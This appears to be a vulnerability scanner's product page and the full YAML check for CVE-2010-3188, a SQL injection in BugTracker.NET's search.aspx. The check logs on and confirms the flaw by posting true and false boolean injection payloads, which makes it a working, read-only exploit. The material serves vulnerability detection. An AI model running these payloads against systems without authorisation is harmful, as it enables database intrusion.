BugTracker.NET — 1 vulnerability check

noctis ships 1 vulnerability check for BugTracker.NET, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

BugTracker.NET search.aspx custom field SQL injection

CVECVE-2010-3188
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/bugtracker-net/CVE-2010-3188.yaml

Detects the SQL injection in BugTracker.NET 3.4.3 and earlier: search.aspx copies the value of a custom text field into "[field] like '%<value>%'" without escaping single quotes. When the scan carries credentials of any BugTracker.NET account, the test logs on, loads the search page, picks a custom text field and runs two searches through it: one injecting a true arithmetic condition, one a false control. The true search listing bugs while the false one lists none proves the database evaluated the injected SQL (QoD 97); nothing is written. Without credentials, without a custom text field or without a visible bug, it reports a BugTracker.NET version below 3.4.4 read from about.html (QoD 70). When the injection test runs and the true search lists nothing although the account sees bugs (fixed search.aspx), no version finding is reported.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/about.html
  3. HTTP(S) request GET {{dir}}/default.aspx
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET {{lg.path}} HTTP/1.0
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{dir}}/search.aspx
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request POST {{dir}}/search.aspx with a crafted body
  11. HTTP(S) request POST {{dir}}/search.aspx with a crafted body
  12. Parses / computes the next value with a Rhai script
  13. Checks verdict for ^proof: → finding QoD 97: BugTracker.NET search.aspx SQL injection confirmed (CVE-2010-3188)
  14. Parses / computes the next value with a Rhai script
  15. … and 1 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/bugtracker-net/CVE-2010-3188.yaml
# BugTracker.NET search.aspx custom-field SQL injection (CVE-2010-3188).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_bugtracker_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801279, GPL-2.0-only). The NVT is a pure version
# check (installed version < 3.4.3, from the product detection).
#
# The bug: search.aspx (BugTracker.NET <= 3.4.3) builds its WHERE clause from
# the form values of the custom text fields with no escaping:
#     custom_clause = " [" + column_name + "] like '%" + values + "%'\n";
# 3.4.4 (2010/08/21, svn r566) only adds the doubling of single quotes there.
# search.aspx requires a logged-on user (Security.ANY_USER_OK) and runs the
# search only on a postback with hit_submit_button=1.
#
# Better than the NVT:
#   - The NVT flags "< 3.4.3", which misses 3.4.3 itself (the last vulnerable
#     release, per the 3.4.4 release notes and NVD "3.4.3 and earlier"). The
#     version fallback here flags < 3.4.4.
#   - With scan credentials (any BugTracker.NET account), the feed exploits
#     the injection for real, read-only: log on with
#     default.aspx?user=..&password=.. (query-string logon, no ViewState),
#     load search.aspx, pick a custom TEXT field from the form (date fields
#     are class='txt date', number/dropdown fields carry the "Enter multiple
#     values using commas" note and go through the escaped IN (...) path),
#     and post the search twice with the session's own __VIEWSTATE /
#     __EVENTVALIDATION:
#         <m>%' OR <a>*<b>=<a*b>   AND '<m>' LIKE '    (true)
#         <m>%' OR <a>*<b>=<a*b+1> AND '<m>' LIKE '    (false control)
#     The SQL server evaluates the arithmetic: the true search lists bugs
#     (edit_bug.aspx?id=N links) although no bug contains the random <m>,
#     the false one answers "No bugs". On 3.4.4 both are literal searches for
#     a string no bug contains → "No bugs" twice. The payload stays inside one
#     boolean expression (no stacked query, no comment), so it also survives
#     Util.alter_sql_per_project_permissions, which wraps everything between
#     the first WHERE and the last ORDER BY in "( … ) AND ( <permissions> )"
#     for non-admin users. Nothing is written.
#   - Install directories "", /btnet, /bugtracker, /BugTracker are tried.
#
# Limits: the exploit needs credentials, at least one custom text field
# visible to the account, and at least one bug the account can see; else the
# feed falls back to the about.html version (QoD 70).
#
# References: https://nvd.nist.gov/vuln/detail/CVE-2010-3188,
# btnet_3_4_4_release_notes.txt (sourceforge.net/projects/btnet),
# http://www.securityfocus.com/archive/1/513385/100/0/threaded
uid: 8c59fdc6-3d05-4f25-bc53-77fe4ded1342
name: "BugTracker.NET search.aspx custom field SQL injection (CVE-2010-3188)"
description: |
  Detects the SQL injection in BugTracker.NET 3.4.3 and earlier: search.aspx
  copies the value of a custom text field into "[field] like '%<value>%'"
  without escaping single quotes. When the scan carries credentials of any
  BugTracker.NET account, the test logs on, loads the search page, picks a
  custom text field and runs two searches through it: one injecting a true
  arithmetic condition, one a false control. The true search listing bugs
  while the false one lists none proves the database evaluated the injected
  SQL (QoD 97); nothing is written. Without credentials, without a custom
  text field or without a visible bug, it reports a BugTracker.NET version
  below 3.4.4 read from about.html (QoD 70). When the injection test runs
  and the true search lists nothing although the account sees bugs (fixed
  search.aspx), no version finding is reported.
category: sqli
cves: [CVE-2010-3188]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [bugtracker-net, btnet, aspnet, sqli, authenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3188"
  - "https://sourceforge.net/projects/btnet/files/btnet_3_4_4_release_notes.txt/view"
  - "http://www.securityfocus.com/archive/1/513385/100/0/threaded"

steps:
  # Random marker + operands, shared by every pass, and the version-fallback
  # candidate collected over all passes.
  - id: rnd
    action: script
    store_as: rnd
    code: |
      let a = rand_int(101, 999);
      let b = rand_int(101, 999);
      #{ m: "nq" + rand_hex(5), a: a, b: b, c: a * b }

  - id: init-fallback
    action: set_var
    var_name: fallback
    var_value: ""

  # Pass 1, per directory. Pre-initialise every stored result each pass: a
  # skipped or failed step leaves it unset (or stale from the previous dir).
  - id: init-about
    action: set_var
    var_name: about
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/btnet", "/bugtracker", "/BugTracker"]
      var: dir

  - id: init-logon-page
    action: set_var
    var_name: logon
    var_value: {status: 0, body: ""}

  - id: init-login-path
    action: set_var
    var_name: lg
    var_value: {path: ""}

  - id: init-login
    action: set_var
    var_name: login
    var_value: {connected: false, banner: ""}

  - id: init-cookie
    action: set_var
    var_name: ck
    var_value: {cookie: ""}

  - id: init-search
    action: set_var
    var_name: srch
    var_value: {status: 0, body: ""}

  - id: init-probe
    action: set_var
    var_name: pb
    var_value: {ok: false, field: "", t: "", f: ""}

  - id: init-true
    action: set_var
    var_name: ptrue
    var_value: {status: 0, body: ""}

  - id: init-false
    action: set_var
    var_name: pfalse
    var_value: {status: 0, body: ""}

  - id: get-about
    action: http_request
    method: GET
    path: "{{dir}}/about.html"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: about

  - id: get-logon
    action: http_request
    method: GET
    path: "{{dir}}/default.aspx"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: logon

  # Product gate (about page or logon page links to the product home page)
  # and the about.html version.
  - id: fingerprint
    action: script
    store_as: bt
    code: |
      let ab = if about.status == 200 && type_of(about.body) == "string" { about.body } else { "" };
      let lb = if logon.status == 200 && type_of(logon.body) == "string" { logon.body } else { "" };
      let out = #{ found: false, version: "", old: false };
      if ab.contains("ifdefined.com/bugtrackernet.html") || lb.contains("ifdefined.com/bugtrackernet.html") {
        out.found = true;
        let m = eregmatch("Version\\s+([0-9]{1,2})\\.([0-9]{1,2})\\.([0-9]{1,2})\\b", ab);
        if ab.contains("BugTracker.NET") && m.len() >= 4 {
          out.version = m[1] + "." + m[2] + "." + m[3];
          let x = int(m[1]);
          let y = int(m[2]);
          let z = int(m[3]);
          out.old = x < 3 || (x == 3 && (y < 4 || (y == 4 && z < 4)));
        }
      }
      out

  # Query-string logon (default.aspx?user=..&password=..), percent-encoded.
  - id: build-login
    action: script
    condition: "bt.found == true && cred_enabled && strlen(cred_username) > 0 && strlen(cred_password) > 0"
    store_as: lg
    code: |
      let enc = |s| {
        let out = "";
        for c in s.chars() {
          if "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~".contains(c) {
            out += c.to_string();
          } else {
            let h = toupper(hexstr(c.to_string()));
            let i = 0;
            while i < h.len() { out += "%" + h.sub_string(i, 2); i += 2; }
          }
        }
        out
      };
      #{ path: dir + "/default.aspx?user=" + enc.call(cred_username) + "&password=" + enc.call(cred_password) }

  # Raw request: the logon 302 sets ASP.NET_SessionId, se_id and user
  # cookies, and http_request keeps only the last Set-Cookie. Only se_id is
  # checked by search.aspx (Security.check_security).
  - id: login
    action: tcp_connect
    condition: "lg.path != \"\""
    port: "{{port}}"
    send: "GET {{lg.path}} HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0 (noctis)\r\nConnection: close\r\n\r\n"
    store_as: login

  - id: session-cookie
    action: script
    condition: "lg.path != \"\""
    store_as: ck
    code: |
      let b = if type_of(login.banner) == "string" { login.banner } else { "" };
      let head = split(b, "\r\n\r\n")[0];
      let parts = [];
      for line in split(head, "\r\n") {
        if tolower(line).starts_with("set-cookie:") {
          let v = split(line.sub_string(11), ";")[0];
          v.trim();
          // Printable ASCII only: the "user" cookie echoes the account
          // name raw, and a non-ASCII name would make the header invalid.
          if v != "" && ereg("^[!-~]+$", v) { parts.push(v); }
        }
      }
      let cookie = "";
      let has = false;
      for p in parts {
        if p.starts_with("se_id=") { has = true; }
        if cookie != "" { cookie += "; "; }
        cookie += p;
      }
      if has { #{ cookie: cookie } } else { #{ cookie: "" } }

  - id: get-search
    action: http_request
    condition: "ck.cookie != \"\""
    method: GET
    path: "{{dir}}/search.aspx"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Cookie: "{{ck.cookie}}"
    store_as: srch

  # ViewState + event validation of this session, and the first custom TEXT
  # field: "<input type=text class=txt  onkeyup=..  size=N maxlength=N
  # name=..>" without the "Enter multiple values" note (number fields) —
  # date fields are class='txt date' and never match the split marker.
  - id: build-probe
    action: script
    condition: "ck.cookie != \"\""
    store_as: pb
    code: |
      let enc = |s| {
        let out = "";
        for c in s.chars() {
          if "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~".contains(c) {
            out += c.to_string();
          } else {
            let h = toupper(hexstr(c.to_string()));
            let i = 0;
            while i < h.len() { out += "%" + h.sub_string(i, 2); i += 2; }
          }
        }
        out
      };
      let none = #{ ok: false, field: "", t: "", f: "" };
      if srch.status != 200 || type_of(srch.body) != "string" { return none; }
      let body = srch.body;
      let vs = eregmatch("name=\"__VIEWSTATE\"[^>]*value=\"([^\"]*)\"", body);
      if vs.len() < 2 { return none; }
      let ev = eregmatch("name=\"__EVENTVALIDATION\"[^>]*value=\"([^\"]*)\"", body);
      let field = "";
      let chunks = split(body, "<input type=text class=txt  onkeyup=\"on_change()\" ");
      let i = 1;
      while i < chunks.len() && field == "" {
        let ch = chunks[i];
        let m = eregmatch("^\\s*size=[0-9]+ maxlength=[0-9]+ name=\"([^\"]+)\"", ch);
        if m.len() >= 2 {
          let sn = stridx(ch, "smallnote");
          let nx = stridx(ch, "<tr");
          if sn == -1 || (nx != -1 && sn > nx) { field = m[1]; }
        }
        i += 1;
      }
      if field == "" { return none; }
      let base = "__VIEWSTATE=" + enc.call(vs[1]);
      if ev.len() >= 2 { base += "&__EVENTVALIDATION=" + enc.call(ev[1]); }
      base += "&and_or=and&project_changed=0&hit_submit_button=1&hit_save_query_button=0&" + enc.call(field) + "=";
      let t = rnd.m + "%' OR " + rnd.a + "*" + rnd.b + "=" + rnd.c + " AND '" + rnd.m + "' LIKE '";
      let f = rnd.m + "%' OR " + rnd.a + "*" + rnd.b + "=" + (rnd.c + 1) + " AND '" + rnd.m + "' LIKE '";
      #{ ok: true, field: field, t: base + enc.call(t), f: base + enc.call(f) }

  - id: post-true
    action: http_request
    condition: "pb.ok == true"
    method: POST
    path: "{{dir}}/search.aspx"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    headers:
      Cookie: "{{ck.cookie}}"
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{pb.t}}"
    store_as: ptrue

  - id: post-false
    action: http_request
    condition: "pb.ok == true"
    method: POST
    path: "{{dir}}/search.aspx"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    headers:
      Cookie: "{{ck.cookie}}"
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{pb.f}}"
    store_as: pfalse

  - id: judge
    action: script
    store_as: verdict
    code: |
      let tb = if ptrue.status == 200 && type_of(ptrue.body) == "string" { ptrue.body } else { "" };
      let fb = if pfalse.status == 200 && type_of(pfalse.body) == "string" { pfalse.body } else { "" };
      let rows_t = ereg("href=edit_bug\\.aspx\\?id=[0-9]+", tb);
      let rows_f = ereg("href=edit_bug\\.aspx\\?id=[0-9]+", fb);
      let none_f = fb.contains("<p>No ");
      // The unfiltered first load of search.aspx lists the account's bugs:
      // when it did and the true search still listed none, the field is not
      // injectable (3.4.4, or search.aspx patched by hand as the 3.4.4 notes
      // suggest) — "clean" then suppresses the version fallback.
      let rows_all = type_of(srch.body) == "string" && ereg("href=edit_bug\\.aspx\\?id=[0-9]+", srch.body);
      if pb.ok && rows_t && !rows_f && none_f {
        "proof: " + dir + "/search.aspx custom field \"" + pb.field + "\" = \"" + rnd.m + "%' OR " + rnd.a + "*" + rnd.b + "=" + rnd.c + " AND '" + rnd.m + "' LIKE '\" listed bugs, the false control (=" + (rnd.c + 1) + ") listed none"
      } else if pb.ok && rows_all && ptrue.status == 200 && !rows_t && tb.contains("<p>No ") {
        "clean"
      } else {
        ""
      }

  - id: report-proof
    action: match
    source: verdict
    pattern: "^proof: "
    on_match:
      finding:
        title: "BugTracker.NET search.aspx SQL injection confirmed (CVE-2010-3188)"
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "{{verdict}}"
        remediation: "Upgrade BugTracker.NET to 3.4.4 or later (search.aspx doubles single quotes in custom field values)."
      stop: true

  # Remember the first directory whose about.html shows a version below 3.4.4
  # and where the exploit did not conclusively fail; reported only after
  # every pass (the exploit wins in any directory).
  - id: collect-fallback
    action: script
    store_as: fallback
    code: |
      if fallback == "" && bt.found && bt.old && verdict != "clean" {
        "version: " + dir + "/about.html reports BugTracker.NET " + bt.version + " (below 3.4.4)"
      } else {
        fallback
      }

  # Pass 2 (runs once, after every directory was tried for the proof).
  - id: after-proof
    action: set_var
    var_name: fallback_done
    var_value: true
    loop:
      over: ["once"]
      var: phase

  - id: report-version
    action: match
    source: fallback
    pattern: "^version: "
    on_match:
      finding:
        title: "BugTracker.NET 3.4.3 or earlier (search.aspx SQL injection, CVE-2010-3188)"
        confidence_delta: 0.40   # 0.30 + 0.40 = 0.70
        qod: 70
        evidence: "{{fallback}}"
        remediation: "Upgrade BugTracker.NET to 3.4.4 or later (search.aspx doubles single quotes in custom field values)."

View these feeds on GitHub